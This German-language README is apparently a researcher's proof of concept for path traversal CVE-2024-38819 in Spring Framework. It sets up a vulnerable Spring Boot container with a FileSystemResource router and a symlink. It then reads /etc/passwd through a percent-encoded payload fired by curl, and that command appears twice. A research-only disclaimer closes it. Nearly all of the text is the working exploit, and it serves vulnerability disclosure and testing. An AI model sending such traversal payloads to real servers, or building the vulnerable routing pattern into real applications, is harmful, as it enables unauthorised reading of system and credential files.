
Dies ist ein Proof of Concept für die von mir gemeldete Schwachstelle CVE-2024-38819, die einen Path-Traversal-Exploit demonstriert.
Baue das Docker-Image (Spring Boot 3.3.4, basierend auf Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Starte den Container und gib Port 8080 an die Host-Maschine weiter
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Führe den folgenden Befehl aus, um den PoC auszuführen und die Schwachstelle zu bestätigen
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Wenn der Angriff erfolgreich ist, wird der Inhalt der Datei /etc/passwd angezeigt.
Erstelle PathTraversalDemoApplication.java mit dem folgenden Code, um das statische Datei-Routing mit RouterFunction und FileSystemResource einzurichten:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Füge dem Dockerfile den folgenden Befehl hinzu, um einen symbolischen Link zu erstellen:
RUN ln -s /static /app/static/link
Erstelle ein Payload, das Percent-Encoding nutzt, um Verzeichnisse über den symbolischen Link zu durchlaufen.
/static/link/%2e%2e/etc/passwdVerwende den folgenden curl-Befehl, um den PoC auszuführen und zu überprüfen, ob der Angriff erfolgreich ist:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Wenn der Angriff erfolgreich ist, wird der Inhalt der Datei /etc/passwd angezeigt.
Dieser PoC wird zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt. Bevor du ihn in einem realen System einsetzt, stelle sicher, dass die Schwachstelle behoben wurde und du über die entsprechende Genehmigung verfügst. Der Autor übernimmt keinerlei Verantwortung für eine missbräuchliche Verwendung dieses Codes.